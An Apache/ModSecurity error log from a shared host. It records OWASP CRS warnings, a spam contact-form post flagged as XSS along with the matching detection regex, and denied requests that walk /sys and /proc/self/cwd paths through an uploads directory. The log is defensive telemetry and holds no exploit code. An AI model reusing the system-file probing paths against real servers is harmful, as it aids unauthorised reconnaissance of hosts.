[Fri Jul 17 09:25:03.672616 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnlyRF0UOO1RzB5_8zjgAAAA4"]
[Fri Jul 17 09:25:03.673139 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/"] [unique_id "almnlyRF0UOO1RzB5_8zjgAAAA4"]
[Fri Jul 17 09:25:03.933152 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:03.951629 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:04.043236 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:16/subsystem/drivers/ec/bind
[Fri Jul 17 09:25:04.146801 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:04.158907 2026] [security2:error] [pid 2029579:tid 2029579] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almnlyRF0UOO1RzB5_8zjgAAAA4"]
[Fri Jul 17 09:25:04.348845 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:04.555679 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/firmware/dmi/entries/4-1/instance
[Fri Jul 17 09:25:04.752454 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:04.860811 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:05.057826 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:05.157968 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:05.270918 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:05.345922 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/"] [unique_id "almnmbEWOaI5pmYo9fnT_AAAAAA"]
[Fri Jul 17 09:25:05.346085 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/"] [unique_id "almnmbEWOaI5pmYo9fnT_AAAAAA"]
[Fri Jul 17 09:25:05.346600 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/"] [unique_id "almnmbEWOaI5pmYo9fnT_AAAAAA"]
[Fri Jul 17 09:25:05.459947 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty27/subsystem/ttyS3/uartclk
[Fri Jul 17 09:25:05.681723 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:05.685091 2026] [security2:error] [pid 1993619:tid 1993619] [client 195.2.78.191:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnmY1dLClkUfK_dfHqEwAAAAI"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 09:25:05.685848 2026] [security2:error] [pid 1993619:tid 1993619] [client 195.2.78.191:0] ModSecurity: Rule 55dbd91a78b0 [id "941200"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "300"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnmY1dLClkUfK_dfHqEwAAAAI"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 09:25:05.687406 2026] [security2:error] [pid 1993619:tid 1993619] [client 195.2.78.191:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:enquiry. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd0\\xb5\\xd1\\x80:  7(495) 255-59-59 https://drogal.ru/glossary/logisticheskii-audit/\\x0d\\x0a \\x0d\\x0a\\xd0\\x91\\xd0\\xbe found within ARGS:enquiry: \\xd0\\x9d\\xd0\\xb0\\xd0\\xbf\\xd1\\x80\\xd0\\xb8\\xd0\\xbc\\xd0\\xb5\\xd1\\x80:  7(495) 255-59-59 https://drogal.ru/glossary/logisticheskii-audit/\\x0d\\x0a \\x0d\\x0a\\xd0\\x91\\xd0\\xbe\\xd0\\xbb\\xd0\\xb5\\xd0\\xb5 200 \\xd0\\xbc\\xd0\\xbb\\xd0\\xbd https://drogal.ru/glossary/promishlennaya-upakovka/\\x0d\\x0a  \\xd1\\x80\\xd1\\x83\\xd0\\xb1\\xd0\\xbb\\xd0\\xb5\\xd0\\xb9 https://drogal.ru..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnmY1dLClkUfK_dfHqEwAAAAI"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 09:25:05.689080 2026] [security2:error] [pid 1993619:tid 1993619] [client 195.2.78.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnmY1dLClkUfK_dfHqEwAAAAI"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 09:25:05.871550 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:05.872728 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:58/subsystem/tty55/"] [unique_id "almnmboj0IkvhSCYadmHNgAAAAQ"]
[Fri Jul 17 09:25:05.872754 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/dev/char/4:58/subsystem/tty55/"] [unique_id "almnmboj0IkvhSCYadmHNgAAAAQ"]
[Fri Jul 17 09:25:06.070556 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:06.172253 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:06.434636 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:06.857083 2026] [security2:error] [pid 2019501:tid 2019501] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnmbEWOaI5pmYo9fnT_AAAAAA"]
[Fri Jul 17 09:25:06.873847 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:06.884738 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:07.092924 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:07.194057 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:07.294253 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:07.597502 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:08.153014 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:08.158852 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnIl9vhFBGA6D8l9_aAAAAAw"]
[Fri Jul 17 09:25:08.159105 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnIl9vhFBGA6D8l9_aAAAAAw"]
[Fri Jul 17 09:25:08.160093 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnIl9vhFBGA6D8l9_aAAAAAw"]
[Fri Jul 17 09:25:08.173649 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:08.499754 2026] [security2:error] [pid 1993572:tid 1993572] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnIl9vhFBGA6D8l9_aAAAAAw"]
[Fri Jul 17 09:25:08.609952 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:08.818621 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty39/subsystem/ttyS2/line
[Fri Jul 17 09:25:09.225071 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnY-0g_VSPeIeFN3FngAAAAs"]
[Fri Jul 17 09:25:09.225197 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnY-0g_VSPeIeFN3FngAAAAs"]
[Fri Jul 17 09:25:09.226190 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnY-0g_VSPeIeFN3FngAAAAs"]
[Fri Jul 17 09:25:09.401234 2026] [security2:error] [pid 1993619:tid 1993619] [client 195.2.78.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnmY1dLClkUfK_dfHqEwAAAAI"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 09:25:09.482778 2026] [security2:error] [pid 2034024:tid 2034024] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnY-0g_VSPeIeFN3FngAAAAs"]
[Fri Jul 17 09:25:09.620910 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:47852] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:25:10.496897 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:10.608237 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnno1dLClkUfK_dfHqFQAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:25:10.608273 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnno1dLClkUfK_dfHqFQAAAAI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:25:10.669345 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/en/mamo"] [unique_id "almnnjsMb3am0TgkjETgAgAAAAo"]
[Fri Jul 17 09:25:10.669704 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/en/mamo"] [unique_id "almnnjsMb3am0TgkjETgAgAAAAo"]
[Fri Jul 17 09:25:10.669966 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/en/mamo"] [unique_id "almnnjsMb3am0TgkjETgAgAAAAo"]
[Fri Jul 17 09:25:10.738227 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnkkXT4NBqALj2laCPAAAABA"]
[Fri Jul 17 09:25:10.738347 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnkkXT4NBqALj2laCPAAAABA"]
[Fri Jul 17 09:25:10.738982 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnkkXT4NBqALj2laCPAAAABA"]
[Fri Jul 17 09:25:10.949295 2026] [security2:error] [pid 2018757:tid 2018757] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almnnkkXT4NBqALj2laCPAAAABA"]
[Fri Jul 17 09:25:11.679807 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:25:12.034950 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almnoIl9vhFBGA6D8l9_bAAAAAw"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
